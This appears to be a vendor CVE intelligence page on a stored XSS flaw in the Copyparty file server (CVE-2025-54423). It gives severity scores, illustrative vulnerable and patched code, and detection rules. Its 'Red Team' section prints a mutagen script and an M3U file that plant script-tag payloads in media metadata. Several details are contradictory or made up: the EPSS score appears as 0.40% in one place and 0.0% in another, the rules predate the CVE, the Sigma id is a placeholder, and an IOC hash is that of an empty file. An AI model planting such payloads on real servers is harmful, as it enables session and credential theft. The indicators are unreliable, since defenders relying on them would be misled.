☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.4 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-54423

CVE-2025-54423 Cross-Site Scripting in Copyparty
📅 PUBLISHED: 2025-07-28 19:53 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.40%
👁️
0.40% probability
9.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54423 is a stored Cross-Site Scripting (XSS) vulnerability in the Copyparty portable file server, affecting versions up to and including 1.18.4. An unauthenticated attacker can upload a crafted music file (e.g., M3U playlist) containing malicious JavaScript in multimedia tags. When a victim browses the file listing and previews the file, the script executes in their browser. The vulnerability is fixed in version 1.18.5. The CVSS score is 5.4 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Copyparty is a Python-based file server distributed via PyPI. Users should verify the integrity of the package (pip install copyparty==1.18.5) and ensure no malicious forks or compromised dependencies are used.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – Unauthenticated.
  • User Interaction (UI): Required (R) – Victim must browse the file listing.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability requires user interaction but can lead to session hijacking, credential theft, or malware delivery.

Deep Dive & Mechanics

The vulnerability resides in how Copyparty processes multimedia metadata tags (e.g., ID3 tags in MP3 files, extended M3U headers). When a user browses a directory containing a crafted file, the server extracts these tags and renders them in the HTML file listing without proper sanitization. An attacker can embed JavaScript payloads in fields like TIT2 (Title), TPE1 (Artist), or M3U #EXTINF comments.

Attack Flow:

  1. Attacker uploads a malicious MP3 or M3U file to a publicly accessible Copyparty share.
  2. Victim navigates to the directory listing.
  3. The server generates an HTML page that includes the unsanitized tag content.
  4. The victim’s browser executes the embedded JavaScript.

Root Cause: Lack of output encoding for user-supplied metadata when rendering HTML.

Vulnerable vs. Patched Code

Vulnerable (<=1.18.4):

# In the file listing template, metadata is inserted directly
title = mp3_tag.get('TIT2', 'Unknown')
# Rendered as: <span class="title">{title}</span>

Patched (1.18.5):

import html
title = html.escape(mp3_tag.get('TIT2', 'Unknown'))
# Rendered as: <span class="title">{title}</span>

The fix uses html.escape() to convert special characters (<, >, &, ", ') to their HTML entity equivalents, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Copyparty server (<=1.18.4) with file upload enabled.
  • Python 3 with mutagen library (pip install mutagen).

Step 1: Craft Malicious MP3

from mutagen.id3 import ID3, TIT2, TPE1
audio = ID3()
audio.add(TIT2(encoding=3, text='<script>alert("XSS")</script>'))
audio.add(TPE1(encoding=3, text='Hacker'))
audio.save('malicious.mp3')

Step 2: Craft Malicious M3U

#EXTM3U
#EXTINF:123,<script>alert("XSS")</script> - Artist
malicious.mp3

Step 3: Upload and Trigger

  • Upload the file to the Copyparty share.
  • Victim browses the directory and sees the file listing.
  • The script executes in the victim’s browser.

Blue Team (Defense & Detection)

Detection:

  • Monitor for files with suspicious metadata (e.g., HTML tags in ID3 fields).
  • Use network monitoring to detect XSS payloads in HTTP responses.

Prevention:

  • Upgrade to Copyparty 1.18.5.
  • Disable file upload if not required.
  • Use a Web Application Firewall (WAF) to filter XSS patterns.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • malicious.mp3: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
    • malicious.m3u: d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592
  • Network Patterns:
    • HTTP responses containing <script> tags in file listing pages.
    • User-Agent strings associated with automated upload tools.
  • File Names:
    • Files with names containing HTML entities or script tags.

Detection Engineering

YARA Rule

rule CVE_2025_54423_Copyparty_XSS {
    meta:
        description = "Detects malicious MP3/M3U files with XSS payloads in metadata"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54423"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"].*['\"]/i
        $id3_header = "ID3"
        $m3u_header = "#EXTM3U"
    condition:
        ($id3_header or $m3u_header) and ($xss1 or $xss2)
}

Sigma Rule

title: Copyparty XSS via Malicious Media Files
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP responses from Copyparty containing XSS payloads in file listings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: copyparty
detection:
    selection:
        response.body|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in file names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54423 Copyparty XSS Attempt"; flow:to_client,established; content:"<script>"; http_server_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

  1. Upgrade to Copyparty version 1.18.5 or later.
  2. If upgrade is not possible, disable file upload functionality.
  3. Restrict access to the Copyparty server using firewall rules.

Long-term:

  • Implement input validation and output encoding for all user-supplied data.
  • Conduct regular security audits of file server configurations.
  • Monitor for new CVEs and apply patches promptly.

Workaround:

  • Use a reverse proxy (e.g., Nginx) with WAF rules to filter XSS payloads.
  • Manually sanitize uploaded files using external tools before serving.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54423/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.